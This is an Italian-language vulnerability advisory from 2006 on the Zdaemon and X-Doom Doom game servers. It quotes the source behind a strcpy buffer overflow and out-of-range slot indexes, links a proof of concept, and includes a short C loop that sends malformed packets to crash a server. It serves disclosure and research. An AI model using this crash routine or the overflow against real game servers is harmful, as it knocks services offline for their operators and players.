####################################################################### Luigi Auriemma Applicazione: Zdaemon http://www.zdaemon.org (ed anche X-Doom R6 1.06.07 http://www.doom2.net/~xdoom/) Versioni: <= 1.08.01 Piattaforme: Windows e Linux Bugs: A] buffer-overflow in is_client_wad_ok B] Invalid memory access in ZD_MissingPlayer, ZD_UseItem and ZD_LoadNewClientLevel/ZD_ValidClient Exploitation: A] remote, versus server B] remote, versus server (in-game) Data: 31 Mar 2006 Autore: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduzione 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduzione =============== Zdaemon e' il motore di Doom piu' usato nel gioco su Internet, con tantissimi servers disponibili online e moltissimi giocatori X-Doom invece e' un port del solo server che gira su Linux e BSD ed e' basato sull'ultimo codice sorgente di Zdaemon disponibile prima che quest'ultimo diventasse closed source. ####################################################################### ======= 2) Bugs ======= Quando un client entra in una partita online, il server controlla che i file wad (le mappe) usati sul client siano gli stessi che utilizza anche lui. Quindi il client invia il nome del wad seguito dal suo has md5, il server prende il nome file ricevuto e lo copia in un buffer di 256 bytes utilizzando strcpy(). Il buffer-overflow che ne risulta e' limitato dalla funzione my_strupr che converte tutti i caratteri in maiuscolo, ad ogni modo durante i miei test con GDB sono riuscito ugualmente a sovrascrivere un indirizzo di ritorno utilizzando un nome file piu' lungo. L'attacker deve conoscere la parola chiave esatta in caso il server fosse protetto da password. L'IP banning non funziona contro quest'attacco perche' e' un controllo che viene fatto successivamente e quindi un attacker puo' sfruttare questa vulnerabilita' nonostante sia stato bannato sul server vittima. Da server/src/w_wad.cpp (X-Doom / Zdaemon 1.06): char *wad_check::is_client_wad_ok(const char *fname,const byte *csum) { int i; char temp[256]; static char errmsg[512]; strcpy(temp,plain_filename(fname)); my_strupr(temp); if ( (i=find(fname)) < 0 ) { sprintf(errmsg,"\nYou should not load \"%s\" on this server.\nGet rid of it!\n",temp); return errmsg; } ... ------------------------------------------------------------ B] Invalid memory access in ZD_MissingPlayer, ZD_UseItem and ZD_LoadNewClientLevel/ZD_ValidClient ------------------------------------------------------------ Zdaemon supporta diversi comandi per giocare, come cambiare il proprio nome, chattare, selezionare le armi e cosi' invia... insomma proprio come qualsiasi gioco. Le funzioni ZD_MissingPlayer, ZD_UseItem e ZD_ValidClient (sfruttabile attraverso ZD_LoadNewClientLevel) leggono un numero a 8 bit dal client che viene utilizzato per selezionare uno slot od item specifico ed effettuare alcune operazioni. Il server usa 16 slots (MAXPLAYERS) e meno di 40 items (NUMARTIFACTS) quindi se un attacker utilizza un numero invalido il server crasha immediatamente dopo aver provato ad accedere ad una zona di memoria non valida. Questo e' un bug in-game quindi devono essere rispettati tutti i requisiti per accedere al server (md5 hash corretti dei wads, password e nessun banning) altrimenti non potra' essere sfruttato. Da server/src/sv_main.cpp (X-Doom / Zdaemon 1.06): void ZD_MissingPlayer(void) { int pnum = ZD_ReadByte(); // the player that our client is missing int cl = parse_cl; player_t* player = &players[pnum]; if (!playeringame[pnum]) { Printf("ZD_MissingPlayer: BIG PROBLEM!!\n"); return; } ZDOP.Init(); if (player->isbot) ... void ZD_UseItem(void) { int which = ZD_ReadByte(); int i; // None left! if (players[parse_cl].inventory[which] <= 0) ... static void ZD_LoadNewClientLevel(char *levelname, int i) { player_s *pli; if (!ZD_ValidClient(i)) return; ... bool ZD_ValidClient(int i) { return (playeringame[i] && !players[i].isbot); } ####################################################################### =========== 3) The Code =========== A] http://aluigi.org/poc/zdaebof.zip B] Aggiungere il codice seguente alla linea 179 del mio Zdaemon Fake Players DoS: for(i = 0; i < 256; i++) { p = buff; *p++ = 0xff; *p++ = cl_missingplayer; // cl_useitem cl_wantnewlevel *p++ = i; len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0); if(len < 0) break; } if((len < 0) && (i < 256)) { printf("\n Server IS vulnerable!!!\n\n"); } else { printf("\n Server doesn't seem vulnerable\n\n"); } close(sd); return(0); Il tool e' disponibile qui: http://aluigi.org/fakep/zdaemonfp.zip ####################################################################### ====== 4) Fix ====== No fix. Gli sviluppatori non sono stati contattati per il seguente motivo: Zdaemon ha alcuni problemi con la sua licenza, e' basato su diverso codice open source (principalmente Zdoom) ed e' stato anch'esso open source fino alla versione 1.06 (il vecchio sito web era http://www.zdaemon.info, si puo' ancora trovare la cache in qualche motore di ricerca). Dopodiche' gli sviluppatori decisero di chiudere il codice sorgente perche' alcuni cheaters crearono un aimbot (un tool/patch per uccidere i nemici piu' facilmente) per questo gioco ma IMHO, e questa e' la stessa opinione di molte altre persone, cio' non e' compatibile con la licenza GPL (il Doom engine di id Software e' GPL) e piu' in generale con la forte filosofia che c'e' dietro al movimento open source. Commento personale: chiudere il codice sorgente non e' una soluzione, non fermera' mai i cheaters (fanno solo cio' che il server permette loro di fare) e non ha fermato me dal trovare queste vulnerabilita' di sicurezza. #######################################################################